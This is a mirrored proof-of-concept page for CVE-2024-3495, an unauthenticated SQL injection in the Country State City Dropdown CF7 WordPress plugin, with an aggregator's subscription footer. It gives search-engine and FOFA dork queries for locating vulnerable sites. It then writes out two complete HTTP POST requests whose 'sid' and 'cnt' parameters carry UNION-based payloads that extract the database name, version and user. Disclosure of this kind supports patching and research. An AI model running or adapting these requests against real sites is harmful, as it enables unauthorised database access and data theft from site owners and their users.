CVE-2024-3495 PoC — Country State City Dropdown CF7 <= 2.7.2 - Unauthenticated SQL Injection

Source

https://github.com/truonghuuphuc/CVE-2024-3495-Poc

Associated Vulnerability

Title:Country State City Dropdown CF7 <= 2.7.2 - Unauthenticated SQL Injection (CVE-2024-3495)
Description:The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the ‘cnt’ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Description

CVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - Unauthenticated SQL Injection

Readme

# CVE-2024-3495-Poc
CVE-2024-3495 Country State City Dropdown CF7 &lt;= 2.7.2 - Unauthenticated SQL Injection

Description

The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the ‘cnt’ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/country-state-city-auto-dropdown/country-state-city-dropdown-cf7-272-unauthenticated-sql-injection

```inurl:"/wp-content/plugins/country-state-city-auto-dropdown/"```

```
https://x.com/fofabot/status/1793477848428364155
FOFA Query: body="/wp-content/plugins/country-state-city-auto-dropdown/"
https://en.fofa.info/result?qbase64=Ym9keT0iL3dwLWNvbnRlbnQvcGx1Z2lucy9jb3VudHJ5LXN0YXRlLWNpdHktYXV0by1kcm9wZG93bi8i
```

File: includes\ajax-actions.php
![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/e29eb5d1-c90d-4f79-8409-cccd213ac18c)

Found nonce
![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/c605bb8f-65f7-4425-84d7-ac9285568be7)


Poc:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172

action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
```

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172

action=tc_csca_get_states&nonce_ajax={{nonce}}&cnt=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
```

![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/350142b4-e5d2-43a2-a266-9cc5fd846f7c)

![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/8e8053b3-2185-4a6e-983b-84afbab385b4)

File Snapshot


 [4.0K]  /data/pocs/3ceedb22dbdde10b6eadc02c3114fe1f1c278719
├── [2.4M]  country-state-city-auto-dropdown.zip
├── [1.1K]  CVE-2024-3495.py
└── [2.5K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!